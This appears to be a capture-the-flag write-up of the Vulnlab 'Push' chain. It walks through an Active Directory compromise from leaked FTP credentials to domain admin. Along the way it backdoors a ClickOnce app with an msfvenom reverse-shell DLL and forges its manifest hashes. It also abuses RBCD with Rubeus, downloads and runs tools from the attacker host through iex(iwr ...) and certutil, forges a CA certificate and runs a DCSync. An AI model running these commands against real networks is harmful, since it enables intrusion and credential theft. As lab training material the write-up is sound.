Post

Vulnlab Chain - Push

Vulnlab Chain - Push

Push is a machine rated as hard, which involves backdooring a ClickOnce application and escalating privileges using Resource-Based Constrained Delegation (RBCD). This is followed by exploiting the Certificate Authority (CA) to create a Golden Certificate, enabling lateral movement to the Domain Controller _install

Valid Domain Credentials

Starting off I added the following to the /etc/hosts file:

1
2
3
10.10.161.85 push.vl
10.10.161.85 DC01.push.vl
10.10.161.86 MS01.push.vl

After my initial nmap scans I noticed that anonymous FTP access is enabled on the DC01 machine. Lets try to access it and see if we can find any interesting information:

1
ftp MS01.push.vl

_install

There is any interesting file called “.git-credentials” let’s download the file and see if it contains any interesting information. _install

We see that the file contains credentials for github.com, however it could be that these credentials are being re-use within the active directory domain. Using netexec I confirmed that we indeed have a valid Domain Account: _install

Domain Enumeration

Now that we have a valid domain account let’s the remote BloodHound integestor to check if the user has any interesting permissions:

1
bloodhound.py -d push.vl -v --zip -c All -dc DC01.push.vl -ns 10.10.161.85 -u 'olivia.wood' -p 'DeployTrust07' --dns-timeout 10

_install

I loaded the zip into bloodhound and performed some enumeration. Sadly I didn’t find anything of interest thus I moved on to enumerate if the user can access any interesting shares. After enumerate the SMB shares on the MS01 machine I found out we can access the wwwroot share:

1
smbclient.py "push.vl"/"olivia.wood":"DeployTrust07"@"10.10.161.86"

_install Now that we have accessed the share lets see the files that we can list. We quickly see that there is something called “SelfService.application” and a setup file. Also a “last-run.txt” file which might be of interest, I downloaded the file and checked the contents. This only revealed that the application’s last execution what about 1 minute ago. This tells us that the applications is actively being used in which we might need to hijack the execution flow or create a backdoor. To do this I uploaded all the application files to a Windows VM to analyze it further.

_install

Now that we have all the files on our Windows machine I tried to run the setup.exe file which gave me the following error: _install

I fixed this by running a HTTP server on port 80 and adding the ms01.push.vl in my hosts file like so:

_install

If I now visit ms01.push.vl which basically runs on my localhost I am greeting with the following page:

_install

Looking at this I noticed the text “ClickOnce Resources”. When searching for ClickOnce I stumbled on a blog from Istan Toth which uses ClickOnce .NET Apps for Initial Access.

Backdooring ClickOnce for Initial Access on MS01

After reading up on the topic there are two ways we can do this. One is by finding a suitable location to backdoor te assembly, or just replacing a DLL. If we replace a DLL with a malcious one we need to make it meet the following prerequisites:

  1. Replace the digest hashes in the manifest file so the DLL is trusted
  2. Remove invalid signatures from the modified manifest files.

The DLL that we will hijack is the “SelfService.dll.deploy” DLL. Using msfvenom I generated a malicous DLL which we’ll replace in the application:

1
msfvenom -p windows/x64/meterpreter/reverse_tcp -f dll LHOST=10.8.0.49 LPORT=8080 > SelfService.dll.deploy

_install

Now that we have our malicous DLL lets calculate the digest hash so we can replace it in the SelfService.Application

1
openssl dgst -binary -sha256 SelfService.dll.deploy | openssl enc -base64

_install

And modify the hash and the file of the DLL in the SelfService.dll.manifest file like so: _install

If the manifest file was signed, it’ll be invalid because we made some changes, so the signature needs to be removed. First I deleted the “publisherIdentity” and the “Signature elements at the end. And also changed the publicKeyToken attribute to “0000000000000000” (16 zeroes) in the “asmv1:assemblyIdentity” tag at the top. This ensures that the signature won’t be checked and won’t cause an issue if it is missing.

_install

Now we have change the DLL manifest file which is getting referenced by the .application manifest. This means that we also need to recalculate the .application manifest using the same method as used before:

1
openssl dgst -binary -sha256 SelfService.dll.manifest | openssl enc -base64

_install

Now we can once again replace the DigestValue with the new value, replace the publicKeyToken value to 16 zeros and also update the file size.

_install

Now that we have our backdoored ClickOnce application ready we can upload it on the share in hope that we receive a reverse connection. I uploaded the backdoored ClickOnce application and ran my multihandler in hopes to receive a reverse connection. After a minute or so I received my shell as the user kelly.hill. _install

Domain Privilege Escalation

If we look at the privileges of the user kelly.hill we can see in bloodhound that the user has AllExtendedRights on the MS01 machine _install

Also MachineAccountQuota is set to “10” which means that we are able to do a Resource Based Constrained Delegation (RBCD) attack. _install

I loaded Powermad in memory and created a new machine account as follows:

1
2
iex(iwr http://10.8.0.49/Powermad.ps1 -usebasicparsing)
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force)

_install

Next I loaded PowerView in memory to obtain the Security Identifier (SID) of the newly created computer account:

1
2
iex(iwr http://10.8.0.49/PowerView.ps1 -usebasicparsing)
Get-DomainComputer

_install

Now we need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE:

1
2
3
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

However I got some errors while using this command so I instead used the StandIn project from FuzzySecurity. First transfered the binary using certutil:

1
 certutil -urlcache -f http://10.8.0.49/StandIn_v13_Net35.exe StandIn_v13_Net35.exe

And succesfully added the msDS-AllowedToActOnBehalfOfOtherIdentity object to the target computer with StandIn:

1
cmd /c C:\temp\StandIn_v13_Net35.exe --computer "MS01" --sid "S-1-5-21-1451457175-172047642-1427519037-3602"

_install

Next up is transferring the Rubeus binary to the victim machine using certutil:

1
certutil -urlcache -f http://10.8.0.49/Rubeus.exe Rubeus.exe

_install

Now we need to use Rubeus to first hash the plaintext password into RC4_HMAC form.

1
cmd /c C:\temp\Rubeus.exe hash /password:P@ssw0rd123!

_install Finally we can use Rubeus’ s4u module to get a service ticket for the service name (sname) we want to “impersonate”. I used the following Rubeus command to do this:

1
cmd /c C:\temp\Rubeus.exe s4u /user:attackersystem$ /rc4:7DFA0531D73101CA080C7379A9BFF1C7 /impersonateuser:Administrator /msdsspn:CIFS/MS01.push.vl /nowrap

_install

Finally to use this ticket from a Linux host the ticket must be converted from kirbi to ccache format and import via an environment variable. This first step is to convert it from base64encoded kirbi format to ccache format. This can be done with ticketConverter.py from the impacket toolkit:

1
2
cat ticket.b64 | base64 -d > ticket
ticketConverter.py ticket ticket.ccache

_install

Next we can import to ticket into the corresponding evironment variable and use wmiexec.py to gain access as the Domain Administrator

1
2
export KRB5CCNAME=ticket.ccache
wmiexec.py -k -no-pass administrator@MS01.push.vl -shell-type powershell

_install

One thing I noticed during Domain Enumeration is that the Certificate Authority (CA) is installed on the MS01 machine. Because we are now Domain Admin we can forge a CA Certificate which we can then use to move laterally to the DC. Using SharpDPAPI I extracted the certificates:

1
cmd /c C:\temp\SharpDPAPI.exe certificates /machine

_install

Both the private key and the certificate are displayed in the console.

_install

The extracted private key and certificate can be written in to a file with the .PEM file extension. Executing the following can convert the certificate into a usable .PFX format allow to be used for authentication: _install

Finally using ceripy can forge a certificate for any domain user using the certicicate for authentication. Executing the following will create a fake certificate for the “DC01$” machine account which we will sign by the private key of the CA certificate:

1
certipy forge -ca-pfx cert.pfx -upn administrator@push.vl -subject 'CN=Administrator,CN=Users,DC=PUSH,DC=VL'

_install

Next I tried to use the PFX to authenticate, however I was greeted with the following error:

_install

This means that PKINIT is not supported, however we can bypass this by using PassTheCert from AlmondOffSec. First extract the key and cert from the pfx using certipy:

1
2
certipy cert -pfx administrator_forged.pfx -nokey -out cert.crt
certipy cert -pfx administrator_forged.pfx -nocert -out cert.key

_install

Now we can use the PassTheCert python script to for elevate privileges for the “olivia.wood” user, so it can DCSync.

1
passthecert.py -action modify_user -crt cert.crt -key cert.key -domain push.vl -dc-ip 10.10.161.85 -target olivia.wood -elevate

_install

Finally we DCSync using secretsdump to get access to the NTLM hashes on the Domain Controller:

1
secretsdump.py PUSH.vl/olivia.wood:'DeployTrust07'@DC01.push.vl

_install

And finally using Netexec we confirm we are Domain Admin and obtain the root flag

1
nxc smb DC01.push.vl -u Administrator -H ******************* -x "type C:\Users\Administrator\desktop\root.txt"

_install

This post is licensed under CC BY 4.0 by the author.